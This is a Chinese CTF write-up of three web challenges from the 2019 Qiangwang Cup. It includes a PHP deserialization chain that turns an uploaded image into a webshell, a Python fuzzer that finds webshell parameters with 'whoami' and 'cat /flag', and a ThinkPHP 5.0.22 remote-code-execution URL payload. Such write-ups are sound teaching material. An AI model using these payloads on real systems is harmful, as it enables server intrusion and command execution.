2019第三届强网杯部分WEB WP

2019第三届强网杯部分WEB WP

UPLOAD

  • 注意此题需要在PHP7环境中才能复现,在PHP5中由于异常处理机制,不会调用析构函数。
  1. 打开网页,发现是一个注册登陆页面,注册之后可以上传图片。 img img
  2. 扫描根目录,发现有源码www.gz.tar,下载后可以看到在tp5目录中有.idea文件夹,说明是使用phpstorm写的。导入phpstorm发现了两个断点:
    1
    2
    3
    4
    5
    6
    7
    //Register.php
    public function __destruct()
    {
    if(!$this->registed){
    $this->checker->index(); // 断点1
    }
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
//Index.php
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
// 断点2
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}

提示反序列化存在漏洞。

  1. 结合本题为上传题,猜测是要结合反序列化和上传两个点攻击。观察析构函数,如果registed为False则调用checker的index函数。
  2. 查找是否有可以利用的类,发现Profile.php中的Profile类中无index函数,而且有__call函数:
    1
    2
    3
    4
    5
    6
    public function __call($name, $arguments)
    {
    if($this->{$name}){
    $this->{$this->{$name}}($arguments);
    }
    }

如果调用Profile类的index函数,就会调用__call('index'),此时,如果构造的Profile类的index指向任意一个函数,就会调用该函数。而本题是上传题,首先想到upload_img函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

可以看到在if($this->ext)之后的逻辑中,可以通过修改$this->filename_tmp$this->filename达到图片重命名的目的,将上传的图片马还原为webshell。

  1. 所以先上传一个图片马。 img
  2. 然后构造payload:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    <?php
    namespace app\web\controller;
    class Register
    {
    public $checker;
    }
    class Profile
    {
    public $filename_tmp;
    public $filename;
    public $ext;
    public $except;
    public $index;
    }
    $reg=new Register();
    $prof=new Profile();
    $prof->filename_tmp='upload/837ec5754f503cfaaee0929fd48974e7/00bf23e130fa1e525e332ff03dae345d.png';//原文件名(图片马
    $prof->filename='upload/1.php';//目标文件名
    $prof->ext=true;//过检查
    $prof->index='upload_img';
    $reg->registed = false;//register析构函数中的条件
    $reg->checker=$prof;
    echo base64_encode(serialize($reg));

将输出代替cookie中的user值,访问。 img 7. 可以看到成功重命名webshell了。 img 8. 拿蚁剑连接可以在根目录处找到flag。 img

高明的黑客

  • 我在做这道题的时候想的是用hook,但是发现这道题用hook似乎没办法做,因为文件太多了,而只有一个文件可以用,不可能手工挨个试。
  • 在本地复现的时候,想法很简单,先按文件匹配出POST和GET的参数,然后对每个参数都传入system(whoami)whoami,分别对应eval型和直接调用system型webshell。

做题过程:

  1. 下载源码
  2. 编写脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    import os
    import requests
    import re
    def return_files(rootDir):
    list_dirs = os.walk(rootDir)
    funfiles=[]
    for root, dirs, files in list_dirs:
    for f in files:
    funfiles.append(os.path.join(root, f))
    return funfiles
    IF_DEBUG=False
    exp_list=['whoami','system("whoami")']
    url_pre='http://localhost:802/qwb/web2/'
    pat1=r"\$_GET\['(\w+)'\]"
    pat2=r"\$_POST\['(\w+)'\]"
    files=return_files('src')
    i=0
    for vfile in files:
    print(i,vfile)
    i+=1
    get_params=[]
    post_params=[]
    with open(vfile) as fr:
    try:
    lines=fr.readlines()
    except UnicodeDecodeError:
    print(vfile)
    continue
    for line in lines:
    get_params+=re.findall(pat1,line)
    post_params+=re.findall(pat2,line)
    for exp in exp_list:
    post_dic={}
    for post_param in post_params:
    post_dic[post_param]=exp
    shell_name=vfile[4:]
    if(len(get_params+post_params)!=0):
    t1=requests.get(url_pre+shell_name).text
    temp_url=url_pre+shell_name+'?'
    for get_param in get_params:
    temp_url+=get_param+'='+exp+'&'
    temp_url=temp_url[:-1]
    if(IF_DEBUG):
    print(t1)
    print(temp_url)
    print(post_dic)
    exit()
    t2=requests.post(temp_url,data=post_dic).text
    if(len(t1)!=len(t2)):
    print(temp_url)
    print(post_dic)

  3. 对本地一通扫之后,输出:

    1
    http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami

  4. 由于不想挨个找参数,我直接替换掉每个参数:

    1
    2
    url='http://localhost/qwb/web2/xk0SzyKwfzw.php?z5c_TrB=whoami&xd0UXc39w=whoami&xd0UXc39w=whoami&DdWk_nXmZTF_Dt=whoami&dthxTqRPg8YtH=whoami&ImPVuGCXfrS=whoami&O0yRgyjaOF7m=whoami&DeMcscsp=whoami&YV8nqJDhD=whoami&EMNPxS2A7=whoami&kBVLzQEgb=whoami&kBVLzQEgb=whoami&Efa5BVG=whoami&i_QfWB2x1=whoami&i_QfWB2x1=whoami&E8NPXbr7Cq=whoami&zfEddFlxaK_FTO3A=whoami&qjWSY5fjcgNtb=whoami&qUVRuZTF27EhUKTI=whoami'
    print(url.replace('whoami','cat /flag'))

  5. 访问得到flag

强网先锋 上单

  • 进入界面,发现thinkphp版本为5.0.22,立刻想到前段时间写过博客的RCE,直接上payload:
    1
    index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

拿到flag

前两道题的源码

https://github.com/HACHp1/hackable_cms_store/tree/master/qwb